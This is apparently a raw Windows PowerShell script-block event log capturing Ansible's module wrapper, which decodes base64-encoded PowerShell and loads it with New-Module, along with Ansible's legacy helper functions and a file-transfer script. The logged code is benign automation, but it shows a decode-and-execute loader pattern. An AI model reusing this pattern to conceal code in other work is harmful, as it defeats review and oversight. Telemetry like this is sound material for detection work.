$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 804b8796-b258-4b80-a784-573719bb802a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2258 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 2248 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0004-b953-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
YXNlIGRlYnVnZ2luZyBvZiBzY3JpcHRzCklmICgtbm90KEdldC1BbGlhcyAtTmFtZSAiR2V0LWF0dHIiIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKSkKewogICAgTmV3LUFsaWFzIC1OYW1lIEdldC1hdHRyIC1WYWx1ZSBHZXQtQW5zaWJsZVBhcmFtCn0KCkZ1bmN0aW9uIENvbnZlcnRUby1Cb29sCnsKPCMKICAgIC5TWU5PUFNJUwogICAgSGVscGVyIGZpbHRlci9waXBlbGluZSBmdW5jdGlvbiB0byBjb252ZXJ0IGEgdmFsdWUgdG8gYm9vbGVhbiBmb2xsb3dpbmcgY3VycmVudAogICAgQW5zaWJsZSBwcmFjdGljZXMKICAgIC5FWEFNUExFCiAgICAkaXNfdHJ1ZSA9ICJ0cnVlIiB8IENvbnZlcnRUby1Cb29sCiM+CiAgICBwYXJhbSgKICAgICAgICBbcGFyYW1ldGVyKHZhbHVlZnJvbXBpcGVsaW5lPSR0cnVlKV0KICAgICAgICAkb2JqCiAgICApCgogICAgJGJvb2xlYW5fc3RyaW5ncyA9ICJ5ZXMiLCAib24iLCAiMSIsICJ0cnVlIiwgMQogICAgJG9ial9zdHJpbmcgPSBbc3RyaW5nXSRvYmoKCiAgICBpZiAoKCRvYmogLWlzIFtib29sZWFuXSAtYW5kICRvYmopIC1vciAkYm9vbGVhbl9zdHJpbmdzIC1jb250YWlucyAkb2JqX3N0cmluZy5Ub0xvd2VyKCkpIHsKICAgICAgICByZXR1cm4gJHRydWUKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICRmYWx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ZlTW9kZV06OlJlYWQsIFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjgpCiAgICBmb3JlYWNoICgkZW50cnkgaW4gJGFyY2hpdmUuRW50cmllcykgewogICAgICAgICRhcmNoaXZlX25hbWUgPSAkZW50cnkuRnVsbE5hbWUKCiAgICAgICAgIyBGdWxsTmFtZSBtYXkgYmUgYXBwZW5kZWQgd2l0aCAvIG9yIFwsIGRldGVybWluZSBpZiBpdCBpcyBwYWRkZWQgYW5kIHJlbW92ZSBpdAogICAgICAgICRwYWRkaW5nX2xlbmd0aCA9ICRhcmNoaXZlX25hbWUuTGVuZ3RoICUgNAogICAgICAgIGlmICgkcGFkZGluZ19sZW5ndGggLWVxIDApIHsKICAgICAgICAgICAgJGlzX2RpciA9ICRmYWxzZQogICAgICAgICAgICAkYmFzZTY0X25hbWUgPSAkYXJjaGl2ZV9uYW1lCiAgICAgICAgfSBlbHNlaWYgKCRwYWRkaW5nX2xlbmd0aCAtZXEgMSkgewogICAgICAgICAgICAkaXNfZGlyID0gJHRydWUKICAgICAgICAgICAgaWYgKCRhcmNoaXZlX25hbWUuRW5kc1dpdGgoIi8iKSAtb3IgJGFyY2hpdmVfbmFtZS5FbmRzV2l0aCgiYFwiKSkgewogICAgICAgICAgICAgICAgJGJhc2U2NF9uYW1lID0gJGFyY2hpdmVfbmFtZS5TdWJzdHJpbmcoMCwgJGFyY2hpdmVfbmFtZS5MZW5ndGggLSAxKQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdGhyb3cgImludmFsaWQgYmFzZTY0IGFyY2hpdmUgbmFtZSAnJGFyY2hpdmVfbmFtZSciCiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB0aHJvdyAiaW52YWxpZCBiYXNlNjQgbGVuZ3RoICckYXJjaGl2ZV9uYW1lJyIKICAgICAgICB9CgogICAgICAgICMgdG8gaGFuZGxlIHVuaWNvZGUgY2hhcmFjdGVyLCB3aW5fY29weSB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gfQogICAgICAgIH0KICAgIH0KICAgICRhcmNoaXZlLkRpc3Bvc2UoKSAgIyByZWxlYXNlIHRoZSBoYW5kbGUgb2YgdGhlIHppcCBmaWxlCn0KCkZ1bmN0aW9uIEV4dHJhY3QtWmlwTGVnYWN5KCRzcmMsICRkZXN0KSB7CiAgICBpZiAoLW5vdCAoVGVzdC1QYXRoIC1QYXRoICRkZXN0KSkgewogICAgICAgIE5ldy1JdGVtIC1QYXRoICRkZXN0IC1JdGVtVHlwZSBEaXJlY3RvcnkgLVdoYXRJZjokY2hlY2tfbW9kZSB8IE91dC1OdWxsCiAgICB9CiAgICAkc2hlbGwgPSBOZXctT2JqZWN0IC1Db21PYmplY3QgU2hlbGwuQXBwbGljYXRpb24KICAgICR6aXAgPSAkc2hlbGwuTmFtZVNwYWNlKCRzcmMpCiAgICAkZGVzdF9wYXRoID0gJHNoZWxsLk5hbWVTcGFjZSgkZGVzdCkKCiAgICBmb3JlYWNoICgkZW50cnkgaW4gJHppcC5JdGVtcygpKSB7CiAgICAgICAgJGlzX2RpciA9ICRlbnRyeS5Jc0ZvbGRlcgogICAgICAgICRlbmNvZGVkX2FyY2hpdmVfZW50cnkgPSAkZW50cnkuTmFtZQogICAgICAgICMgdG8gaGFuZGxlIHVuaWNvZGUgY2hhcmFjdGVyLCB3aW5fY29weSBhY3Rpb24gcGx1Z2luIGhhcyBlbmNvZGVkIHRoZSBmaWxlbmFtZQogICAgICAgICRkZWNvZGVkX2FyY2hpdmVfZW50cnkgPSBbU3lzdGVtLlR
ScriptBlock ID: 804b8796-b258-4b80-a784-573719bb802a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2257 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 2248 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0004-b953-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYW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ZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5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FuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gcmV0dXJuIGFzIGEgbGlzdCB3aGVuIGl0IGlzIGVtcHR5IG9yIG9ubHkgaGFzIDEgZW50cnkKICAgICAgICAgICAgcmV0dXJuICwkdmFsdWUKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICR2YWx1ZQp9CgojQWxpYXMgR2V0LWF0dHItLT5HZXQtQW5zaWJsZVBhcmFtIGZvciBiYWNrd2FyZHMgY29tcGF0LiBPbmx5IGFkZCB3aGVuIG5lZWRlZCB0byBl
ScriptBlock ID: 804b8796-b258-4b80-a784-573719bb802a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2256 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 2248 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0004-b953-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2255 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 4356 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0003-d7e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1308 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2254 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 1868 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0003-d7e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2253 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 4356 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0003-d7e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
begin {
$path = 'C:\Users\Admin\AppData\Local\Temp\ansible-tmp-1611050467.96-174975739280923\source'
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
$fd = [System.IO.File]::Create($path)
$sha1 = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$bytes = @() #initialize for empty file case
}
process {
$bytes = [System.Convert]::FromBase64String($input)
$sha1.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) | Out-Null
$fd.Write($bytes, 0, $bytes.Length)
}
end {
$sha1.TransformFinalBlock($bytes, 0, 0) | Out-Null
$hash = [System.BitConverter]::ToString($sha1.Hash).Replace("-", "").ToLowerInvariant()
$fd.Close()
Write-Output "{""sha1"":""$hash""}"
}
ScriptBlock ID: f040c5d9-aaf9-4c4e-8b46-fe9aa727e40b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2252 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2236 | 2992 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0001-6bc6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2251 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2236 | 4700 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:09 AM | 61e00a24-ee3b-0005-ec07-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2236 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2250 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2236 | 1576 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:09 AM | 61e00a24-ee3b-0005-ec07-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2249 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2236 | 4700 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:09 AM | 61e00a24-ee3b-0005-ec07-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
